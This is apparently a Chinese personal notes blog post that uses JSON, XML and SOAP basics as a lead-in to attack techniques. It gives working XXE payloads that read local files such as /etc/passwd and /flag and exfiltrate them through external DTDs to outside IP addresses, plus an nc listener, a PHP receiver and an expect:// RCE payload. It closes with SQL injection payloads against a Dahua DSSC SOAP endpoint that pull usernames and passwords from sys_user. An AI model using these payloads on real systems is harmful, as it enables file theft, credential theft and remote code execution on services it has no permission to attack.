前言

记录一下遇到的数据交换协议,不定时更新

JSON

json基本结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var obj ={
"skillz": {
"web": [
{
"name": "html"
"flag":true
},
{
"name": "css"
"runoob":null
}
],
"database": [
{
"name": "sql"
"years": "7"
}
]
}
}

花括弧表示一个容器,通过名称访问
方括号装载数组,通过序号访问
obj[skillz][web][0][flag]
名称和值冒号隔开
数组元素通过逗号隔开

xml

基于HTTP的XML数据传输

php 写XML

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
error_reporting(0); //禁用外部实体注入 设置为false 相当于不禁用
libxml_disable_entity_loader (false);
//php://input ===> post请求体的内容
$xmlfile = file_get_contents('php://input');
//创建一个DOMDocument类型的对象
$dom = new DOMDocument();
//loadXML 从字符串中读取,生成一个DOMDocument类型的对象
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
//把一个DOMDocument类型的对象转发成一个simpleXML类型的对象
$creds = simplexml_import_dom($dom); //因为存在SIMPLEXMLelement存在__toString__魔术方法, //因此可以直接打印
echo $creds;
?>

xml基本结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!--第一行是 XML 声明。-->
<?xml version="1.0" encoding="UTF-8"?>

<site date="12/11/2007" time='12:00'><!--
1.此处为根元素,XML必须要有根元素,它是所有其他元素的父元素
2.XML 属性值必须加引号-->

<!--接下来 4 行描述根的 4 个子元素-->
<name>RUNOOB</name>
<message>if salary &lt; 1000 then</message><!--在 XML 中,一些字符拥有特殊的意义。需要利用实体引用来代替这些字符-->
<logo>runoob-logo.png</logo>
<desc>编程学习网站</desc>

</site>

DTD(文档类型定义)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ENTITY x "Hello"> <!--ENTITY内部实体声明,相当于变量-->
<!ENTITY % param1 "Hello"> <!--参数实体声明,只能在DTD,即文档类型定义中使用-->
<!ENTITY file2 SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "combine.dtd"><!--外部参数实体声明,可以读取外部文件-->
%dtd;%int;%send;<!--将参数实体整合到DTD定义中-->
]>
<!--文档元素-->
<note>
<to>&x;</to>
<head>&file2;</head>
<body>You are a good man</body>
</note>


<!--combine.dtd的内容为:-->
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://47.98.199.11:7777?p=%file;'>"><!--参数实体是以字符(%)开始,以字符(;)结束。-->

利用

文件读取
  1. 有回显

    1
    2
    3
    4
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE a [
    <!ENTITY entityex SYSTEM "file:///folder/file">]>
    <foo> <value>&entityex;</value> </foo>
  2. 无回显
    需要主动访问外部,带出文件数据

  • 错误示范
    直接在内部实体定义中引用另一个实体的方法
    1
    2
    3
    4
    5
    6
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY % param1 "file:///c:/1.txt">
    <!ENTITY % param2 "http://127.0.0.1/? %param1">不能在实体定义中引用参数实体
    %param2;
    ]>
    进行内部实体嵌套
    1
    2
    3
    4
    5
    6
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY % param1 "file:///c:/1.txt">
    <!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://127.0.0.1/?%param1;'>">有些解释器不允许在内层实体中使用外部连接
    %param2; % param222;
    ]>
  • 绕过方法
    将嵌套的实体声明放入到一个外部文件中,绕过检测(请求两次外部实体)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10

    <!DOCTYPE convert [
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY % remote SYSTEM "http://124.220.165.133:9901/text.dtd">
    %remote;%int;%send;
    ]>

    file.dtd :
    <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://124.220.165.133:9901?p=%file;'>">

    回显方法
  1. 监听端口

nc -lvvp 7777

在服务器上 python3 -m http.server 81
2. 或者查看日志
124.223.158.81 - - [19/Feb/2023:08:47:08 +0000] “GET /x.php?1=Y3Rmc2hvd3sxMGRkODQ5Ni0xZDQ3LTRmYWQtODE3Mi1kNmI0ZDBlMWMwZWN9Cg== HTTP/1.0” 404 466 “-“ “-“
[Sun Feb 19 08:47:08.149766 2023] [:error] [pid 2113] [client 124.223.158.81:53652] script ‘/var/www/html/x.php’ not found or unable to stat
3. 使用php脚本配合外带数据

1
2
3
4
5
6
7
8
<?php
$content = $_GET['1'];
if(isset($content)){
file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\n".$content);
}else{
echo 'no data input';
}

PHP expect RCE

由于 PHP 的 expect 并不是默认安装扩展,如果安装了这个expect 扩展我们就能直接利用 XXE 进行 RCE

示例代码:

1
2
3
4
<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>
<dir>
<file>&cmd;</file>
</dir>

soap协议

SOAP协议是一种基于XML的消息传递协议,它通常被用于在网络上交换结构化的信息。SOAP消息由XML构成,可以在HTTP、SMTP等多种协议上进行传输

Apache CXF 是一个开源的服务框架,用于构建和开发服务导向架构(SOA)和Web服务。它支持多种协议(如SOAP和REST)和数据格式(如XML和JSON),并且提供了丰富的工具和库来简化服务的创建和消费。CXF允许开发者快速构建可靠和高效的Web服务应用程序,并集成了许多功能,如安全、事务管理和消息处理,下面用cxf演示soap协议

配置

设置接口类

1
2
3
4
5
6
7
8
9
10
@WebService(
name = "CarReportService",
targetNamespace = "http://carReport.webservice.dssc.dahua.com"
)
public interface CarReportService {
@WebMethod
@WebResult(
name = "result"
)
String getFlowStatisticsQuery(@WebParam(name = "searchJson") String var1);

配置路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 <servlet>
<servlet-name>CXFServlet</servlet-name>
<servlet-class>org.apache.cxf.transport.servlet.CXFServlet
</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>CXFServlet</servlet-name>
<url-pattern>/services/*</url-pattern>
</servlet-mapping>

<bean id="carReportServiceImpl" class="com.dahua.dssc.webservice.carReport.CarReportServiceImpl" />
<jaxws:endpoint id="carReportService" implementor="#carReportServiceImpl"
address="/carReport" />

WSDL

WSDL是一种描述Web服务的XML格式的语言,定义了服务的接口,包括操作、消息、数据类型等。
上面配置好后访问
/portal/services/carReport?wsdl即可查看wsdl
格式: WSDL文档描述了Web服务的功能和结构,并提供了如何与服务进行交互的说明。它定义了服务的可用操作、消息格式、数据类型、端点地址等信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<wsdl:definitions targetNamespace="命名空间">
用于定义 Web 服务中使用的复杂数据类型
<wsdl:types>
<element name="AdminService" type="xsd:anyType"/>xsd:anyType 是一个通用的类型,它表示可以接受任何数据类型的值
<element name="AdminServiceReturn" type="xsd:anyType"/>
</wsdl:types>
通信消息的数据结构的抽象类型化定义。使用Types所定义的类型来定义整个消息的数据结构体
<wsdl:message name="AdminServiceRequest">
<wsdl:part element="impl:AdminService" name="part"> </wsdl:part>
</wsdl:message>
<wsdl:message name="AdminServiceResponse"> 定义了一个消息,名为 AdminServiceResponse
<wsdl:part element="impl:AdminServiceReturn" name="AdminServiceReturn"> </wsdl:part>
</wsdl:message>
WSDL 中用于描述 Web 服务接口中的的元素
<wsdl:portType name="Admin">
<wsdl:operation name="AdminService">定义一个操作名称为AdminService
<wsdl:input message="impl:AdminServiceRequest" name="AdminServiceRequest"> </wsdl:input>输入消息类型为AdminServiceRequest
<wsdl:output message="impl:AdminServiceResponse" name="AdminServiceResponse"> </wsdl:output>输出消息类型为AdminServiceResponse
</wsdl:operation>
</wsdl:portType>
定义了 Web 服务操作与传输协议(SOAP)之间的映射。
<wsdl:binding name="AdminServiceSoapBinding" type="impl:Admin">type 属性指定了绑定关联的 wsdl:portType
<wsdlsoap:binding style="document" transport="http://schemas.xmlsoap.org/soap/http"/>document: 是 SOAP 消息的标准格式,表示整个消息体将按照 XML 文档的格式进行传输
<wsdl:operation name="AdminService">
<wsdlsoap:operation soapAction=""/>
<wsdl:input name="AdminServiceRequest">
<wsdlsoap:body use="literal"/>literal表示消息体直接使用 XML 文档表示
</wsdl:input>
<wsdl:output name="AdminServiceResponse">
<wsdlsoap:body use="literal"/>
</wsdl:output>
</wsdl:operation>
</wsdl:binding>
定义了 Web 服务的 端点地址
<wsdl:service name="AdminService">
<wsdl:port binding="impl:AdminServiceSoapBinding" name="AdminService">
<wsdlsoap:address location="http://**.***.***.cn/payment/services/AdminService"/>客户端将通过这个 URL 来访问 Web 服务
</wsdl:port>
</wsdl:service>

</wsdl:definitions>

从service反着推就行了

使用soap协议访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 345
Accept-Encoding: gzip

<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
<!--deleteBulletin为调用的方法-->
<ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
<!--netMarkings为传参-->
<netMarkings>
(updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
</netMarkings>
</ns1:deleteBulletin>
</s11:Body>
</s11:Envelope>

当然也可以使用RESTful风格直接访问/portal/services/itcBulletin/deleteBulletin/netMarkings/(updatexml(1%2Cconcat(0x7e%2C(select substr(group_concat(login_name%2C " "%2Clogin_pass)%2C1%2C30) from sys_user)%2C0x7e)%2C1))) and (1%3D1

返回数据包

1
2
3
4
5
6
7
8
9
10
<soap:Envelope>
<soap:Body>
<soap:Fault>
<faultcode>soap:Server</faultcode>
<faultstring>
.....................
</faultstring>
</soap:Fault>
</soap:Body>
</soap:Envelope>